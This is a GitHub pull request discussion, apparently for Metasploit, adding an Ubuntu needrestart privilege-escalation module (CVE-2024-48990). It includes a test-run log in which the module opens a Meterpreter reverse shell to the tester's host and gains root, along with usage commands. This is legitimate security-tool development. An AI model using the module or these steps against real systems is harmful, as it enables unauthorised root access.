-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Ubuntu needrestart LPE (CVE-2024-48990) #19676
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thank you @h00die ! I just left a couple of comments for you to review when you get a chance.
Hello @h00die, I am trying the module against an Ubuntu 22.04.
However the target looks not vulnerable, with |
https://ubuntu.com/security/CVE-2024-48990 Fixed: 3.5-5ubuntu2.2 So definitely not vulnerable. Are you running the |
ouch, last number was different! not sure if I can get that version from apt gonna try now... EDITOk so, I've installed the vulnerable version of needrestart, however I am having some issue to trigger the vulnerability.
From metasploit side I see this, but on the target host when I do: |
sorry, missed that there was an update/feedback! |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the module @h00die. A couple suggestions. I think this is about ready to land 🚀
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for making those changes!
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.1.65:4545
[*] Running automatic check ("set AutoCheck false" to disable)
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > [+] The target appears to be vulnerable. Vulnerable needrestart version 3.5.pre.5ubuntu2 detected on Ubuntu 22.04
[*] Writing '/tmp/.Ft9Ac1' (250 bytes) ...
[*] Launching exploit, and waiting for needrestart to run...
[*] Sending stage (3045380 bytes) to 192.168.1.71
[+] Deleted /tmp/.Ft9Ac1
[+] Deleted /tmp/importlib/__init__.so
[+] Deleted /tmp/.smfoWGc7lZ
[+] Deleted /tmp/importlib
[*] Meterpreter session 7 opened (192.168.1.65:4545 -> 192.168.1.71:53108) at 2025-01-09 16:59:40 -0800
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > sessions -i -1
[*] Starting interaction with 7...
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.1.71
OS : Ubuntu 22.04 (Linux 6.8.0-51-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Release NotesThis adds a post module which exploits needrestart on Ubuntu, before version 3.8. It allows local attackers to execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable. |
Fixes #19675
Exploits needrestart on Ubuntu. Debian and Fedora put out patches, but after putting minor effort into testing them and a bunch of PoCs on github, I gave up trying to make it work. If someone wants to expand this module, be my guest. Happily working on Ubuntu though!
Verification
use exploit/linux/local/ubuntu_needrestart_lpe
set lhost <ip>
set lport <port>
set session <session>
run